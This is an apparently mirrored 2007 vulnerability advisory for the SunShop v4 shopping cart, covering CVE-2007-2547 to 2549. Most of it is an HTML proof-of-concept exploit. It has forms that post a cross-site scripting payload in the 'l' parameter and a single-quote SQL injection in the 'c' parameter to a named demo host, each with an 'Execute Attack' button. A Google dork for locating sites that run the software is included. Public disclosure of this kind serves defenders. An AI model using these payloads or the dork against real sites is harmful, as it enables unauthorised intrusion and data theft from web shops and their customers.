SunShop (v4) Multiple Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052954 漏洞类型
发布时间 2007-05-12 更新时间 2007-05-12
CVE编号 CVE-2007-2549
CVE-2007-2548
CVE-2007-2547
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2007050031
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
<!--

SunShop (v4) Multiple Vulnerabilities

Cookie Manipulation Vulnerability
-----------------------------------

File: index.php
Variable: l (POST)

Cross-Site Scripting Vulnerability
------------------------------------

File: index.php
Variable: l (POST)

SQL Injection Vulnerabilities
-----------------------------

File: index.php
Variable: c (GET)

File: index.php
Variables: quantity[x:xx] (POST)

Vulnerable: SunShop Shopping Cart v4
Google d0rk: "Powered by SunShop Shopping Cart"

John Martinelli
john (at) martinelli (dot) com [email concealed]
http://john-martinelli.com

May 5th, 2007

!-->

<html>
<head><title>SunShop (v4) Multiple Vulnerabilities</title><body>

<center><br><br><font size=4>SunShop (v4) Multiple Vulnerabilities</font><br>
<font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a><br>
<br>Google d0rk: <a href="http://www.google.com/search?q=+%22Powered+by+SunShop+Shopping+Car
t%22">"Powered by SunShop Shopping Cart"</a>

</font><br>

<br><br>
<form action="http://demos.turnkeywebtools.com/ss4/index.php" method="post">
<input name="l" size=75 value="<script %0a%0d>alert(1);</script>">
<input name="remove[0]" type="hidden" value="off">
<input name="quantity[0:49]" type="hidden" value="1">
<input name="remove[1]" type="hidden" value="off">
<input name="quantity[1:50]" type="hidden" value="1">
<input name="remove[2]" type="hidden" value="off">
<input name="quantity[2:55]" type="hidden" value="1">
<input name="remove[3]" type="hidden" value="off">
<input name="quantity[3:42]" type="hidden" value="1">
<input name="remove[4]" type="hidden" value="off">
<input name="quantity[4:51]" type="hidden" value="1">
<input name="coupon" type="hidden" value="email (at) address (dot) com [email concealed]">
<input type=submit value="Execute Attack on variable 'l' in index.php" class="button">
</form>

<br>
<form action="http://demos.turnkeywebtools.com/ss4/index.php" method="post">
<input name="c" size=75 value="'">
<input name="pg" type="hidden" value="1">
<input name="l" type="hidden" value="product_list">
<input type=submit value="Execute SQL Injection on variable 'c' in index.php" class="button">
</form>

</body></html>